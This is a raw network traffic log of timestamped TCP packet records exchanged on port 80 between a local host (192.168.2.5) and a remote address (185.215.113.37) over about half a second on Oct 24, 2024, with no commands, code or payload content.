Oct 24, 2024 02:50:12.634489059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.634519100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.634532928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.634555101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.634561062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.634601116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.634624004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.634671926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.638219118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.638271093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.638273001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.638309002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.638333082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.638343096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.638354063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.638381958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.638447046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.638475895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.638495922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.638519049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.678735018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.678788900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.678827047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.678899050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.678899050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.678899050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.710509062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.710557938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.710597992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.710634947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.710705042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.710705042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.710705042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.710705042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711016893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711047888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711076021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711083889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711102009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711148977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711158991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711194038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711209059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711227894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711236954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711262941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711271048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711297989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711317062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711340904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711357117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711390972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711411953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711425066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711436033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711458921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711467028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711496115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.711500883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.711535931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.712197065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.712251902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.712258101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.712291002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.712295055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.712331057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.751473904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.751523018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.751564026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.751600027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.751656055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.751701117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.755361080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.755423069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.755444050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.755481005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.755490065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.755527020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.755542040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.755579948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.755590916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.755610943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.755623102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.755652905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.795198917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.795294046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.795305967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.795361042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.795387030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.795423031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.795435905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.795456886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.795492887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.795521021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.795521021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.795542002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827563047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827640057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827677965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827713013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827748060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827776909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827776909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827779055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827776909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827799082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827815056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827825069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827852011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827855110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827887058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827896118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827931881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.827953100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.827987909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828001022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828025103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828032017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828061104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828068018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828110933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828351021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828385115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828404903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828419924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828432083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828459978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828628063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828661919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828679085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828696012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828704119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828732967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.828742027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.828895092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.868150949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.868242979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.868278027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.868314981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.868356943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.868356943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.868356943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.868462086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.871804953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.871864080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.871865034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.871897936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.871915102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.871948957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.871952057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.871989012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.872009039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.872037888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.872153997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.872190952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.872206926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.872235060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.912130117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.912204981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.912224054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.912242889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.912256956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.912278891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.912286997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.912314892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.912324905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.912352085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.912363052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.912395000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944169044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944245100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944256067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944283009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944288969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944318056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944327116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944354057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944363117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944390059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944400072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944427967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944437027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944466114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944474936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944502115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944509029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944538116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944552898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944581032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944797993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944833040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944854975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944868088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944875956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944901943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.944911957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.944951057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.945208073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.945261002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.945261955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.945296049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.945303917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.945329905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.945343971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.945365906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.945373058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.945413113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.945837975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.945889950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.945893049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.945943117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.985045910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.985093117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.985129118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.985127926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.985150099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.985165119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.985169888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.985253096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.985261917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.985290051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.985296011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.985333920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.988730907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.988765955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.988796949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.988802910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:12.988804102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:12.988842010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.029150009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029230118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029233932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.029268026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029278040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.029304981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029344082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029350996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.029377937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029392004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.029412985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029428959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.029449940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.029457092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.029495001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061093092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061146021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061182022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061216116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061249971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061285019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061289072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061309099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061321020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061332941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061359882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061364889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061399937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061531067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061587095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061708927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061741114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061760902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061774969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061788082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061810017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.061819077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.061849117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.062069893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.062105894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.062123060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.062139988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.062150955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.062174082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.062186956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.062211037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.062221050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.062257051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.062565088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.062618971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.062762976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.062813997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.101908922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.101984024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102019072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102020979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102030993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102056026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102071047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102092028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102102995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102123976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102139950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102158070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102169037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102194071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102205992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102231979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.102237940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.102277040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.105686903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.105747938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.105987072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.106041908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.145833969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.145884037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.145920992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.145934105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.145953894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.145955086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.145962000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.145988941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.145993948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.146028042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.146033049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.146064997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.146069050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.146106005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.146394014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.146437883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178311110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178374052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178375006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178409100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178422928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178442001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178457975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178477049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178491116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178509951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178524017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178558111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178736925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178788900 CEST	49704	80	192.168.2.5	185.215.113.37
